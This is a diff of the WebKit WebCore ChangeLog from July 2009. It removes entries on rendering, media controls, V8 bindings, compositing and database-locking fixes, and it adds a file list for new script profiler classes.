-        (WebCore::RenderMedia::updateControls):
-        (WebCore::RenderMedia::updateControlVisibility): Simplify
-        , and make sure we stop the timer if there is no animation
-        to do.
-        (WebCore::RenderMedia::opacityAnimationTimerFired): 
-        * rendering/RenderMedia.h:
-
-2009-07-08  David Kilzer  <ddkilzer@apple.com>
-
-        Bug 27081: Wrap RunLoopTimerCF.cpp in PLATFORM(MAC) && HAVE(RUNLOOP_TIMER)
-
-        <https://bugs.webkit.org/show_bug.cgi?id=27081>
-
-        Reviewed by Timothy Hatcher.
-
-        * platform/cf/RunLoopTimerCF.cpp: This code is only used on
-        Mac OS X when HAVE(RUNLOOP_TIMER) is enabled, so wrap the code
-        in that macro as well.
-
-2009-07-08  Greg Bolsinga  <bolsinga@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Add -[WebView _isProcessingUserGesture]
-        https://bugs.webkit.org/show_bug.cgi?id=27084
-
-        Rename FrameLoader::userGestureHint() to FrameLoader::isProcessingUserGesture()
-        for clarity.
-
-        * WebCore.base.exp: Add WebCore::FrameLoader::isProcessingUserGesture()
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::processingUserGesture):
-        * loader/FrameLoader.cpp: 
-        (WebCore::FrameLoader::requestFrame):
-        (WebCore::FrameLoader::isProcessingUserGesture):
-        * loader/FrameLoader.h:
-
-2009-07-08  Alexey Proskuryakov  <ap@webkit.org>
-
-        Reviewed (an earlier version) by Geoff Garen.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27090
-        Remove lockBackForwardList argument from HTMLFormElement::submit()
-
-        No change in behavior, so no tests.
-
-        * bindings/js/JSHTMLFormElementCustom.cpp:
-        (WebCore::JSHTMLFormElement::submit):
-        * html/HTMLFormElement.cpp:
-        (WebCore::HTMLFormElement::submit):
-        * html/HTMLFormElement.h:
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::submitForm):
-        (WebCore::FrameLoader::scheduleFormSubmission):
-        * loader/FrameLoader.h:
-        Don't pass lockBackForwardList around when it's known to be false.
-
-2009-07-08  Marc-Antoine Ruel  <maruel@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        Fix V8 idl codegen to use unique constant names
-        <https://bugs.webkit.org/show_bug.cgi?id=27089>
-
-        Embed the interface name in the global constant names so coagulating all
-        the .cc files into one compile unit works with V8 bindings.
-
-        Nothing added; Still compiles and pass tests.
-
-        * bindings/scripts/CodeGeneratorV8.pm:
-
-2009-07-08  Brent Fulgham  <bfulgham@webkit.org>
-
-        Build fix: Add missing #includes for Windows (cURL) build.
-        The <winsock2.h> and <windows.h> headers were not being
-        included in Windows cURL builds.
-
-        * platform/network/ResourceHandleInternal.h:
-        * platform/network/curl/ResourceHandleManager.h:
-
-2009-07-08  Shinichiro Hamaji  <hamaji@chromium.org>
-
-        Reviewed by David Kilzer.
-
-        WebKit needs a style linting tool
-        https://bugs.webkit.org/show_bug.cgi?id=25884
-
-        Fix bunch of style issues in WebCore/rendering.
-        This patch is created to demonstrate cpplint.py.
-
-        No testcase because it's just a style fixes.
-
-        * rendering/AutoTableLayout.cpp:
-        (WebCore::AutoTableLayout::recalcColumn):
-        (WebCore::AutoTableLayout::layout):
-        * rendering/InlineFlowBox.cpp:
-        (WebCore::InlineFlowBox::placeEllipsisBox):
-        * rendering/InlineTextBox.cpp:
-        (WebCore::InlineTextBox::paintTextMatchMarker):
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlTimelineElement::defaultEventHandler):
-        * rendering/MediaControlElements.h:
-        * rendering/RenderArena.cpp:
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::startDelayUpdateScrollInfo):
-        (WebCore::RenderBlock::finishDelayUpdateScrollInfo):
-        (WebCore::RenderBlock::updateScrollInfoAfterLayout):
-        (WebCore::RenderBlock::positionNewFloats):
-        (WebCore::RenderBlock::newLine):
-        (WebCore::RenderBlock::floatBottom):
-        (WebCore::RenderBlock::leftBottom):
-        (WebCore::RenderBlock::rightBottom):
-        * rendering/RenderBox.cpp:
-        (WebCore::RenderBox::calcReplacedWidthUsing):
-        * rendering/RenderFieldset.cpp:
-        (WebCore::RenderFieldset::layoutLegend):
-        * rendering/RenderFlexibleBox.cpp:
-        (WebCore::FlexBoxIterator::FlexBoxIterator):
-        (WebCore::FlexBoxIterator::reset):
-        (WebCore::FlexBoxIterator::first):
-        (WebCore::FlexBoxIterator::next):
-        (WebCore::RenderFlexibleBox::layoutVerticalBox):
-        * rendering/RenderFrameSet.cpp:
-        (WebCore::borderStartEdgeColor):
-        * rendering/RenderFrameSet.h:
-        * rendering/RenderImage.cpp:
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::updateVisibilityStatus):
-        (WebCore::RenderLayer::calculateClipRects):
-        (WebCore::RenderLayer::calculateRects):
-        * rendering/RenderListBox.cpp:
-        (WebCore::RenderListBox::panScroll):
-        * rendering/RenderMarquee.cpp:
-        (WebCore::RenderMarquee::updateMarqueeStyle):
-        * rendering/RenderMedia.cpp:
-        (WebCore::RenderMedia::updateControls):
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::drawLineForBoxSide):
-        (WebCore::RenderObject::localCaretRect):
-        * rendering/RenderSVGImage.cpp:
-        (WebCore::RenderSVGImage::adjustRectsForAspectRatio):
-        * rendering/RenderSlider.h:
-        * rendering/RenderTable.cpp:
-        (WebCore::RenderTable::outerBorderBottom):
-        * rendering/RenderTableCol.h:
-        * rendering/RenderTextControlSingleLine.cpp:
-        (WebCore::RenderTextControlSingleLine::itemIsSeparator):
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::RenderThemeChromiumSkia::supportsHover):
-        * rendering/RenderThemeChromiumWin.cpp:
-        (WebCore::RenderThemeChromiumWin::supportsFocusRing):
-        * rendering/SVGCharacterLayoutInfo.cpp:
-        (WebCore::SVGCharacterLayoutInfo::addStackContent):
-        * rendering/SVGCharacterLayoutInfo.h:
-        * rendering/TextControlInnerElements.h:
-        * rendering/bidi.cpp:
-        (WebCore::RenderBlock::computeHorizontalPositionsForLine):
-
-2009-07-07  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Maciej Stachowiak.
-
-        Reduce complexity of lifetime management in DynamicNodeList caches
-        <https://bugs.webkit.org/show_bug.cgi?id=27068>
-
-        Switch the Cache object used by DynamicNodeList into a normal
-        refcounted object rather than having a weird flag controlled
-        refcounting system, where positive refcount did not automatically
-        imply the cache object would actually still be live.
-
-        * dom/DynamicNodeList.cpp:
-        (WebCore::DynamicNodeList::DynamicNodeList):
-        (WebCore::DynamicNodeList::~DynamicNodeList):
-        (WebCore::DynamicNodeList::Caches::Caches):
-        (WebCore::DynamicNodeList::Caches::create):
-        * dom/DynamicNodeList.h:
-        * dom/Node.cpp:
-        (WebCore::Node::childNodes):
-        (WebCore::Node::getElementsByTagNameNS):
-        (WebCore::Node::getElementsByName):
-        (WebCore::Node::getElementsByClassName):
-        (WebCore::NodeListsNodeData::invalidateCaches):
-        (WebCore::NodeListsNodeData::isEmpty):
-        * dom/NodeRareData.h:
-        (WebCore::NodeListsNodeData::NodeListsNodeData):
-
-2009-07-07  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-        
-        -webkit-perspective should be a Length
-        https://bugs.webkit.org/show_bug.cgi?id=27066
-        
-        -webkit-perspective should not take a magic valueless number, but should
-        be a normal Length value which responds to zooming. Treat valueless numbers
-        as pixels for backward compatibility.
-        
-        Test: transforms/3d/general/perspective-units.html
-
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue):
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty):
-
-2009-07-07  Pierre d'Herbemont  <pdherbemont@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27047
-
-        We need to make sure that when we reattach, we also reattach
-        the children in every MediaControlElement. Else we may end up
-        having no remaining or elapsed time.
-
-        We have to handle that, because we are using a special shadow
-        tree in the DOM, and that we are ourselves handling
-        attaching/detaching the renderer.
-
-        The strategy here is to try to implement ::attach(), and try
-        to reuse as much code as we can from the super class, including
-        children attachement.
-
-        Test: media/controls-after-reload.html
-
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlElement::styleForElement): Code factoring.
-        (WebCore::MediaControlElement::rendererIsNeeded): Code factoring.
-        (WebCore::MediaControlElement::attach): Implement attach
-        and call super class so that children are also attached.
-        (WebCore::MediaControlElement::updateStyle): Use attach()
-        (WebCore::MediaControlInputElement::styleForElement): Code factoring.
-        (WebCore::MediaControlInputElement::rendererIsNeeded): Code factoring.
-        (WebCore::MediaControlInputElement::attach): See above.
-        (WebCore::MediaControlInputElement::updateStyle): Use attach()
-        * rendering/MediaControlElements.h:
-        * rendering/RenderMedia.cpp:
-        (WebCore::RenderMedia::updateControls): Directly run attach() on
-        the m_panel, which is a root node for our shadow tree.
-
-2009-07-07  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Repaint issue after layer drops out of composited mode.
-        <https://bugs.webkit.org/show_bug.cgi?id=27022>
-
-        RenderLayers cache repaint rects in the form of m_repaintRect and m_outlineBox,
-        and expect these to stay valid from one style change to the next. These rects
-        are relative to the repaint container, so if a layer stops being composited,
-        we need to recompute them.
-        
-        Test: compositing/repaint/layer-repaint-rects.html
-
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::computeRepaintRects):
-        * rendering/RenderLayer.h:
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::updateBacking):
-
-2009-07-07  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Dave Hyatt and Darin Adler.
-
-        - fix https://bugs.webkit.org/show_bug.cgi?id=26963
-          <rdar://problem/7030998> Reproducible crash at
-          FontCache::getFontData() when a custom font is used in a pseudo-style
-
-        Test: fast/css/pseudo-cache-stale.html
-
-        * dom/Element.cpp:
-        (WebCore::Element::pseudoStyleCacheIsInvalid): Added. Given the old
-        style and the new style, goes over cached pseudo-styles in the old
-        style and re-resolves the same style types off the new style. If any of
-        the new pseudo-styles is different from the currently cached
-        corresponding style, returns true. Otherwise, returns false.
-        (WebCore::Element::recalcStyle): Validate the pseudo-style cache before
-        deciding to keep the existing style.
-        * dom/Element.h:
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::uncachedFirstLineStyle): Added this version that
-        returns an uncached first-line style based off the given style.
-        (WebCore::RenderObject::getUncachedPseudoStyle): Added the 'ownStyle'
-        parameter.
-        * rendering/RenderObject.h:
-        * rendering/style/RenderStyle.cpp:
-        (WebCore::RenderStyle::getPseudoStyleCache): Added. Returns the cached
-        pseudo-styles in the passed-in vector.
-        * rendering/style/RenderStyle.h:
-
-2009-07-07  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        - fix https://bugs.webkit.org/show_bug.cgi?id=27042
-          <rdar://problem/7010981> Incomplete painting of newly created floats
-
-        Tests: fast/repaint/float-in-new-block-with-layout-delta.html
-               fast/repaint/float-new-in-block.html
-
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::layoutBlockChildren): If the child has never been
-        laid out before, paint its overhanging floats in addition to itself.
-        * rendering/RenderBlock.h:
-        (WebCore::RenderBlock::FloatWithRect::FloatWithRect): Added and
-        initialized a boolean everHadLayout member.
-        * rendering/bidi.cpp:
-        (WebCore::RenderBlock::layoutInlineChildren): Paint floats that have
-        never been laid out before and did not move from (0, 0).
-
-2009-07-07  Brady Eidson  <beidson@apple.com>
-
-        Contributions from both Darin Adler and Brady Eidson.
-        Reviewed by Darin Adler.
-
-        <rdar://problem/7024039> REGRESSION (r42158): Back-forward navigation does not work correctly on nytimes.com
-
-        In r42158 we lost some exclusions to making back/forward items for subframe navigations when a main frame
-        navigation was still in progress.
-
-        This patch makes things even better than it used to be by:
-        - Locking back/forward history at the time the navigation is scheduled, not after the load has committed.
-        - Locking back/forward history if *any* ancestor frame is still loading instead of just the main frame.
-
-        Test: fast/loader/subframe-navigate-during-main-frame-load.html
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::submitForm): Move out the history locking logic into a standalone function so it can be
-          used from multiple sites.
-        (WebCore::mustLockBackForwardList): Returns true if any ancestor frame is still loading.
-        (WebCore::FrameLoader::scheduleLocationChange): Respect mustLockBackForwardList() in addition to the passed in
-          lockBackForwardList flag.
-        (WebCore::FrameLoader::scheduleFormSubmission): Ditto.
-
-2009-07-07  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Upstream DOMObjectsInclude.h from src.chromium.org.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27035
-
-        * bindings/v8/DOMObjectsInclude.h: Added.
-
-2009-07-07  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by David Levin.
-
-        Relanding r45559, which was rolled back at r45574.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26857
-
-        * bindings/scripts/CodeGeneratorV8.pm: Updated a function name in auto-generated bindings.
-        * bindings/v8/V8Binding.cpp: Moved from src.chromium.org.
-        * bindings/v8/V8Binding.h: Contents moved from src.chromium.org.
-        * bindings/v8/V8LazyEventListener.cpp:
-        (WebCore::V8LazyEventListener::getListenerFunction):
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::handleConsoleMessage):
-        (WebCore::V8Proxy::compileScript):
-        (WebCore::V8Proxy::sourceName):
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::handleConsoleMessage):
-        * bindings/v8/custom/V8CSSStyleDeclarationCustom.cpp:
-        (WebCore::NAMED_PROPERTY_SETTER):
-        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8CustomXPathNSResolver.cpp:
-        (WebCore::V8CustomXPathNSResolver::lookupNamespaceURI):
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLIFrameElementCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
-        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
-        (WebCore::removeElement):
-        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8WorkerContextCustom.cpp:
-        (WebCore::SetTimeoutOrInterval):
-        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-
-2009-07-07  Gregory Hughes  <gfhughesVO+webkit@gmail.com>
-
-        Reviewed by Darin Adler.
-
-        AX: Some webpages do not send AXLoadComplete
-        https://bugs.webkit.org/show_bug.cgi?id=26995
-
-        When sending the AXLayoutComplete notification it is possible
-        that the AXObjectCache was cleared, resulting in no valid
-        object to send the notification to. This fix ensures that an
-        AX object is created and cached if one does not already exist.
-
-        Not able to add a test because notifications get sent after the layout test is completed.
-
-        * dom/Document.cpp:
-        (WebCore::Document::implicitClose):
-
-2009-07-06  Pierre d'Herbemont  <pdherbemont@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27015
-
-        Make sure that the CSS properties letter-spacing, word-spacing,
-        line-height, text-transform, text-indent, text-shadow,
-        text-decoration and color do not affect the media element controls,
-        that display text.
-
-        Controls that display text are only present in when the theme
-        MediaControllerThemeQT is being used.
-
-        Test: media/controls-styling.html
-
-        * css/mediaControlsQT.css:
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlElement::updateStyle): Special case for
-        text-decoration. text-decoration can't be overriden from CSS, because
-        text-decoration is additive for historical reasons.
-
-2009-07-07  Albert Wong  <ajwong@chromium.org>
-
-        Not reviewed, Chromium build fix.
-
-        Add in missing header fix syntax issue that crept into last patch.
-        https://bugs.webkit.org/show_bug.cgi?id=27027
-
-        * rendering/RenderThemeChromiumMac.mm:
-        (WebCore::RenderThemeChromiumMac::paintMediaFullscreenButton):
-
-2009-07-07  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dave Hyatt.
-
-        Make use of geometry information to decide which layers become composited.
-
-        <rdar://problem/7011947>
-        <https://bugs.webkit.org/show_bug.cgi?id=27021>
-        
-        In addition to looking at painting order, also, optionally, take layer
-        overlap into account when deciding which RenderLayers need to be composited.
-
-        No testcase because DRT doesn't dump which layers are composited.
-        
-        * page/FrameView.h:
-        * page/FrameView.cpp:
-        (WebCore::FrameView::updateCompositingLayers):
-        Removed the unused CompositingUpdate parameter, and just do an early return
-        when there is no view.
-        
-        * rendering/RenderLayer.h:
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::rendererContentChanged):
-        (WebCore::RenderLayer::dirtyZOrderLists):
-        (WebCore::RenderLayer::dirtyNormalFlowList):
-        (WebCore::RenderLayer::styleChanged):
-        (WebCore::RenderLayer::mustOverlapCompositedLayers):
-        (WebCore::RenderLayer::setMustOverlapCompositedLayers):
-        Change "overlay" to "overlap" for consistency with the use of "overlap"
-        elsewhere.
-
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::updateAfterLayout):
-        compositingLayersNeedUpdate() renamed to compositingLayersNeedRebuild().
-        
-        (WebCore::RenderLayerBacking::startAnimation):
-        (WebCore::RenderLayerBacking::startTransition):
-        Tell the compositor that we started an accelerated animation or transition.
-        
-        * rendering/RenderLayerCompositor.h:
-        (WebCore::RenderLayerCompositor::compositingLayersNeedRebuild):
-        Renamed, since it's explicitly about changes in hierarchy now.
-        
-        (WebCore::RenderLayerCompositor::setCompositingConsultsOverlap):
-        (WebCore::RenderLayerCompositor::compositingConsultsOverlap):
-        New getter and setter for whether compositing should take overlap into account.
-
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::RenderLayerCompositor):
-        Add m_compositingConsultsOverlap, re-order some member variables.
-        
-        (WebCore::RenderLayerCompositor::cacheAcceleratedCompositingEnabledFlag):
-        Whitespace cleanup and method rename.
-        
-        (WebCore::RenderLayerCompositor::setCompositingLayersNeedRebuild):
-        Method and variable renaming.
-        
-        (WebCore::RenderLayerCompositor::updateCompositingLayers):
-        Now we have to run through the layer hierarchy every time if looking
-        at overlap, because changes in layout can now alter compositing behavior.
-        We minimize work by tracking whether we actually need to change the layer
-        hierarchy via needLayerRebuild.
-        
-        (WebCore::RenderLayerCompositor::updateBacking):
-        3D transforms turn off overlap mode.
-        
-        (WebCore::RenderLayerCompositor::layerWasAdded):
-        (WebCore::RenderLayerCompositor::layerWillBeRemoved):
-        Method rename.
-        
-        (WebCore::RenderLayerCompositor::addToOverlapMap):
-        (WebCore::RenderLayerCompositor::overlapsCompositedLayers):
-        Utility methods to add a layer to the overlapMap (computing the absolute
-        bounding box only if we haven't already done so), and testing the map
-        entries.
-        
-        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
-        If a layer would composite only because it comes after other compositing
-        layers in the painting order, then consult the overlap map to determine whether
-        it overlaps, and thus actually needs to composite.
-        
-        Add layers to the map when they must be composited.
-        
-        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree):
-        Only do re-parenting work if the updateHierarchy flag is set.
-        
-        (WebCore::RenderLayerCompositor::didStartAcceleratedAnimation):
-        When we start an accelerated transition or animation, we stop looking at
-        overlap because we can no longer guarantee correct front-to-back ordering while the
-        accelerated animation is running.
-
-        (WebCore::RenderLayerCompositor::needsToBeComposited):
-        Method renames.
-        
-        * rendering/RenderView.cpp:
-        (WebCore::RenderView::setMaximalOutlineSize):
-        Add comment indicating that this could be optimized.
-
-2009-07-14  Anton Muhin  <antonm@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Speed up creation of V8 wrappers for DOM nodes.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26882
-
-        This patch doesn't require new tests as it a set of refactorings
-        to speed up wrapper creation.  
-
-        * bindings/v8/V8Proxy.cpp:
-        * bindings/v8/V8Proxy.h:
-
-2009-07-07  Jan Michael Alonzo  <jmalonzo@webkit.org>
-
-        Reviewed by Gustavo Noronha.
-
-        [GTK] textarea height property works only if other property are defined
-        https://bugs.webkit.org/show_bug.cgi?id=18984
-
-        Let WebCore handle textarea's metrics instead of readjusting it RenderthemeGtk.
-
-        Test: fast/forms/textarea-metrics.html
-
-        * platform/gtk/RenderThemeGtk.cpp:
-        * platform/gtk/RenderThemeGtk.h:
-
-2009-07-07  Ben Murdoch  <benm@google.com>
-
-        Reviewed by Antti Koivisto.
-
-        HTML5 Database becomes locked if a transaction is in progress when the page is refreshed.
-        https://bugs.webkit.org/show_bug.cgi?id=25711
-
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=25711 where web
-        storage databases could become locked until the browser is shut
-        down if the page is refreshed whilst a transaction is in progress.
-
-        Test: storage/database-lock-after-reload.html
-
-        * storage/Database.cpp:
-        (WebCore::Database::Database):
-        (WebCore::Database::close): add code to inform the database thread we've closed the database.
-        (WebCore::Database::performOpenAndVerify): add code to inform the database thread we've opened a database.
-        * storage/Database.h:
-        (WebCore::Database::opened): return true iff the underlying sqlite database has been opened but not closed.
-        * storage/DatabaseThread.cpp:
-        (WebCore::DatabaseThread::databaseThread): Before the database thread terminates, close any databases that ran transactions in this thread.
-        (WebCore::DatabaseThread::recordDatabaseOpen): Records a database that executed a transaction in this thread.
-        (WebCore::DatabaseThread::recordDatabaseClosed): Removes a database from the set of open databases.
-        * storage/DatabaseThread.h:
-        (WebCore::DatabaseThread::getThreadID): return the thread id for the database thread.
-
-2009-07-07  Jiahua Huang  <jhuangjiahua@gmail.com>
-
-        Reviewed by Jan Alonzo.
-
-        [Gtk] Paste of rich text from firefox results garbled markup
-        https://bugs.webkit.org/show_bug.cgi?id=26791
-
-        Fix problem with UTF-16 clipboard pasted.
-
-        * manual-tests/gtk/paste-richtext-from-firefox.html: Added.
-        * platform/gtk/PasteboardGtk.cpp:
-        (WebCore::Pasteboard::documentFragment):
-
-2009-07-07  Yury Semikhatsky  <yurys@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Change 'Continue debug' shortcut from F5 to F8 for consistency with Firebug.
-
-        https://bugs.webkit.org/show_bug.cgi?id=23849
-
-        * inspector/front-end/ScriptsPanel.js:
-        (WebInspector.ScriptsPanel):
-
-2009-07-06  Albert J. Wong  <ajwong@chromium.org>
-
-        Reviewed by Maciej Stachowiak.
-
-        Update RenderThemeChromiumMac for wkDrawMediaUIPart and wkDrawMediaSlider API
-        change.
-
-        Fix compile RenderThemeChromiumMac.mm due to API changes from r45572
-        https://bugs.webkit.org/show_bug.cgi?id=27018
-
-        This is mainly an API change update to fix the chromium compile.  It
-        also has a small fix of a typo in RenderThemeMac.mm.
-
-        Compilation against the head of chromium trunk passed.  Since this is
-        a compile fix, that should be sufficient.
-
-        * rendering/RenderThemeChromiumMac.mm:
-        (WebCore::):
-        (WebCore::RenderThemeChromiumMac::paintMediaFullscreenButton):
-        (WebCore::RenderThemeChromiumMac::paintMediaMuteButton):
-        (WebCore::RenderThemeChromiumMac::paintMediaPlayButton):
-        (WebCore::RenderThemeChromiumMac::paintMediaSeekBackButton):
-        (WebCore::RenderThemeChromiumMac::paintMediaSeekForwardButton):
-        (WebCore::RenderThemeChromiumMac::paintMediaSliderTrack):
-        (WebCore::RenderThemeChromiumMac::paintMediaSliderThumb):
-        * rendering/RenderThemeMac.mm:
-        (WebCore::):
-
-2009-07-06  David Kilzer  <ddkilzer@apple.com>
-
-        Bug 27002: Build fix when DASHBOARD_SUPPORT is disabled with -Wunused-parameter
-
-        <https://bugs.webkit.org/show_bug.cgi?id=27002>
-
-        Reviewed by Geoff Garen.
-
-        * html/CanvasRenderingContext2D.cpp:
-        (WebCore::CanvasRenderingContext2D::prepareGradientForDashboard):
-        Mark gradient as an unused parameter when DASHBOARD_SUPPORT is
-        disabled.
-
-2009-07-06  David Kilzer  <ddkilzer@apple.com>
-
-        Bug 27001: Fix improper use of PassRefPtr<Node> to RefPtr<Node>
-
-        <https://bugs.webkit.org/show_bug.cgi?id=27001>
-
-        Reviewed by Geoff Garen.
-
-        PassRefPtr<> should only be used for arguments to functions that
-        take ownership of the object, or as return values from functions
-        that relinquish ownership of the object.
-
-        * editing/Editor.cpp:
-        (WebCore::Editor::increaseSelectionListLevelOrdered): Changed
-        stack-allocated PassRefPtr<Node> to RefPtr<Node> and call
-        release() on returned object.
-        (WebCore::Editor::increaseSelectionListLevelUnordered): Ditto.
-
-2009-07-06  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        <rdar://problem/7035474> Make new media controller UI default on SnowLeopard
-
-        * rendering/RenderThemeMac.mm:
-        (WebCore::mediaControllerTheme):
-            New media controller UI is enabled by default on SnowLeopard.
-
-2009-07-06  Nate Chapin  <japhet@chromium.org>
-
-        Unreviewed, build fix.
-
-        Roll out r45559 to fix Chromium canary.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26857
-
+        * bindings/js/JSBindingsAllInOne.cpp:
+        * bindings/js/JSConsoleCustom.cpp:
+        * bindings/js/ScriptProfile.h: Added.
+        * bindings/js/ScriptProfiler.cpp: Added.
+        (WebCore::ScriptProfiler::start):
+        (WebCore::ScriptProfiler::stop):
+        * bindings/js/ScriptProfiler.h: Added.
         * bindings/scripts/CodeGeneratorV8.pm:
-        * bindings/v8/V8Binding.cpp: Removed.
-        * bindings/v8/V8Binding.h:
-        (WebCore::toInt32):
-        (WebCore::toWebCoreString):
-        (WebCore::fromWebCoreString):
-        (WebCore::toWebCoreStringWithNullCheck):
-        (WebCore::isUndefinedOrNull):
-        (WebCore::v8Boolean):
-        * bindings/v8/V8LazyEventListener.cpp:
-        (WebCore::V8LazyEventListener::getListenerFunction):
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::handleConsoleMessage):
-        (WebCore::V8Proxy::compileScript):
-        (WebCore::V8Proxy::sourceName):
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::handleConsoleMessage):
-        * bindings/v8/custom/V8CSSStyleDeclarationCustom.cpp:
-        (WebCore::NAMED_PROPERTY_SETTER):
-        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8CustomXPathNSResolver.cpp:
-        (WebCore::V8CustomXPathNSResolver::lookupNamespaceURI):
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLIFrameElementCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
-        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
-        (WebCore::removeElement):
-        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8WorkerContextCustom.cpp:
-        (WebCore::SetTimeoutOrInterval):
-        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-
-2009-07-06  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Darin Adler.
-
-        <rdar://problem/7008093> Media controller can’t be used to scrub when movie is 
-        narrow — track is too narrow
-
-        Do not show media controller time display elements when the a movie is too narrow.
-
-        * platform/mac/WebCoreSystemInterface.h:
-        * platform/mac/WebCoreSystemInterface.mm:
-            The 'state' parameter to wkDrawMediaUIPart is now an unsigned bitfield.
-
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlTimeDisplayElement::MediaControlTimeDisplayElement):
-            Give current time and time remaining controls a common base class.
-        (WebCore::MediaControlTimeDisplayElement::setVisible):
-            New method, hide and show the element.
-        * rendering/MediaControlElements.h:
-
-        * rendering/RenderMedia.cpp:
-        (WebCore::RenderMedia::RenderMedia):
-            Initialize m_previousVisible.
-        (WebCore::RenderMedia::layout):
-            Show/hide the time display elements as the movie width changes.
-        (WebCore::RenderMedia::createCurrentTimeDisplay):
-        (WebCore::RenderMedia::createTimeRemainingDisplay):
-            Base class is now MediaControlTimeDisplayElement, not MediaControlElement.
-        (WebCore::RenderMedia::shouldShowTimeDisplayControls):
-            New, decide if time display elements should be visible or not.
-        * rendering/RenderMedia.h:
-
-        * rendering/RenderThemeMac.mm:
+        * bindings/v8/ScriptProfile.h: Added.
+        (WebCore::ScriptProfile::create):
+        (WebCore::ScriptProfile::~ScriptProfile):
+        (WebCore::ScriptProfile::title):
+        (WebCore::ScriptProfile::uid):
+        (WebCore::ScriptProfile::ScriptProfile):
+        * bindings/v8/ScriptProfiler.cpp: Added.
+        (WebCore::ScriptProfiler::start):
+        (WebCore::ScriptProfiler::stop):
+        * bindings/v8/ScriptProfiler.h: Added.
+        * bindings/v8/custom/V8ConsoleCustom.cpp: Removed.
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::endGroup):
+        (WebCore::InspectorController::show):
+        (WebCore::InspectorController::setDOMStorageItem):
+        (WebCore::InspectorController::addProfile):
+        (WebCore::InspectorController::addProfileFinishedMessageToConsole):
+        (WebCore::InspectorController::addStartProfilingMessageToConsole):
+        (WebCore::InspectorController::createProfileHeader):
+        (WebCore::InspectorController::getCurrentUserInitiatedProfileName):
